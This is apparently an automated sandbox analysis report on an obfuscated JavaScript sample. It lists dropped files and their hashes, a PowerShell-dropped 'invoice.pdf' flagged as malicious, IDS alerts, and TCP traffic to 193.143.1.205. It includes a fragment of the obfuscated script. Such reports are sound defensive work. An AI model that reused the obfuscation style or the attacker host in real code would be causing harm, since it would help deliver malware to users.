Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\4851b4d2-f1f3-47ed-acc2-fb2bfbbb1e3b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\ac99eb00-72ec-4118-8498-3a67b05636cb.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\afd5baac-cf3c-4fd4-80c5-eb82d5c92c37.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/rwYIGNP4mOWL07oBGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:TwZG6bWLxBGZN3mlind9i4ufFXpAXkru
MD5:	95F182500FC92778102336D2D5AADCC8
SHA1:	BEC510B6B3D595833AF46B04C5843B95D2A0A6C9
SHA-256:	9F9C041D7EE1DA404E53022D475B9E6D5924A17C08D5FDEC58C0A1DCDCC4D4C9
SHA-512:	D7C022459486D124CC6CDACEAD8D46E16EDC472F4780A27C29D98B35AD01A9BA95F62155433264CC12C32BFF384C7ECAFCE0AC45853326CBC622AE65EE0D90BA
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15921), with CRLF line terminators
Entropy (8bit):	4.929312730723433
TrID:
File name:	10259286552329511027.js
File size:	19'501 bytes
MD5:	01b1ff16e39a314abb7633d9013d8340
SHA1:	004922533ce484c88402992851c93c55aef179d4
SHA256:	65e724a5ed627aeddccfcaf0a710cdf26a43646fabf6359d7357a59804fe6404
SHA512:	7634921fc2aaf42716a499213bd8b8f4681bd72ae98b6acf8cc9ed6ae2e08a7b56ccae50ab2b66649381756fb6fd22d3ab9319a86b1a998fa865d60d5daf1083
SSDEEP:	384:GAGlrQJnDXBDKYzBFPvgsMaUTMnZyI4SBArpnyyApCU2GAsrG+DLGPuwuqSid:merwPuTid
TLSH:	6F92744B8A818E77C6F16A582B43059477DC80C58E3E80AE5C53B4E01F1AF5AB5FB67C
File Content Preview:	function xpcxfxp(){omhvk=[1031,3079,5127,4103,2055,3072];var rluckib=this[clbufrbge+sokmwgo+tuitjwde+rkiqkkmc+gwvheq+ehsbxacy+hrzoerio+xufqllfr](this[pztvqlwt+pnhkrspie+brsxyg+tuitjwde+psbtmxuvk+clbufrbge+xufqllfr][ndoiwl+tuitjwde+gwvheq+sokmwgo+xufqllfr+

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T16:25:24.686774+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.9	49763	193.143.1.205	80	TCP
2025-01-10T16:25:27.336420+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.9	49779	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 16:25:23.856870890 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:23.861721039 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:23.861818075 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:23.895256996 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:23.900141001 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.686649084 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.686681032 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.686691999 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.686707020 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.686721087 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.686733007 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.686747074 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.686758995 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.686774015 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:24.686827898 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:24.687056065 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.687078953 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.687136889 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:24.691622019 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.691659927 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.691720009 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:24.755398989 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.755419016 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.755430937 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.755443096 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.755492926 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:24.807753086 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.807773113 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.807818890 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:24.807821035 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.807861090 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.807881117 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.807907104 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:24.808270931 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.808284998 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.808298111 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.808309078 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.808322906 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:24.808339119 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:24.808782101 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.808794022 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.808828115 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:24.808988094 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.809000015 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.809019089 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.809031963 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.809032917 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:24.809045076 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.809067011 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:24.809087992 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:24.810077906 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.810091972 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.810102940 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.810117006 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.810127020 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:24.810131073 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.810154915 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:24.810682058 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.810725927 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:24.842348099 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.872240067 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.872276068 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.872282982 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.872284889 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.872298956 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:24.872344017 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:24.898627996 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.898648977 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.898684025 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:24.929263115 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.929280043 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.929291964 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.929322004 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:24.929343939 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:24.929415941 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.929466009 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.929477930 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.929507017 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:24.929735899 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.929778099 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:24.929799080 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.929837942 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.929878950 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:24.929982901 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.930011034 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.930022001 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.930032969 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.930043936 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.930052996 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:24.930089951 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:24.930517912 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.930563927 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:24.930573940 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.930584908 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.930598021 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.930608988 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.930619955 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:24.930634975 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.930645943 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:24.930664062 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.930706978 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:24.931308985 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.931389093 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.931399107 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.931411028 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.931421041 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.931427002 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.931432009 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.931436062 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:24.931472063 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:24.932243109 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.932259083 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.932270050 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.932281017 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.932285070 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:24.932291031 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.932301998 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.932312012 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.932312012 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:24.932348013 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:24.933073997 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.933084011 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.933125973 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:24.933217049 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.933227062 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.933263063 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:24.933365107 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.933398962 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.933409929 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.933446884 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:24.963077068 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.963089943 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.963124990 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:24.993046999 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.993076086 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.993088007 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.993098021 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.993108988 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.993119001 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.993119955 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:24.993130922 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:24.993148088 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:24.993195057 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.020200014 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.020219088 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.020231009 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.020276070 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.051321983 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.051337957 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.051351070 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.051379919 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.051398993 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.051503897 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.051562071 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.051573992 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.051585913 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.051598072 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.051609993 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.051620007 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.051657915 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.051671982 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.051700115 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.052335024 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.052347898 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.052381039 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.052457094 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.052478075 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.052489042 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.052499056 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.052500010 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.052512884 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.052531958 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.052553892 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.053189993 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.053257942 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.053268909 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.053282976 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.053294897 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.053319931 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.053335905 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.053349018 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.053360939 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.053388119 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.054117918 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.054131031 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.054142952 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.054162979 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.054172039 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.054183006 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.054183960 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.054197073 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.054208040 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.054235935 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.054245949 CET	49763	80	192.168.2.9	193.143.1.205
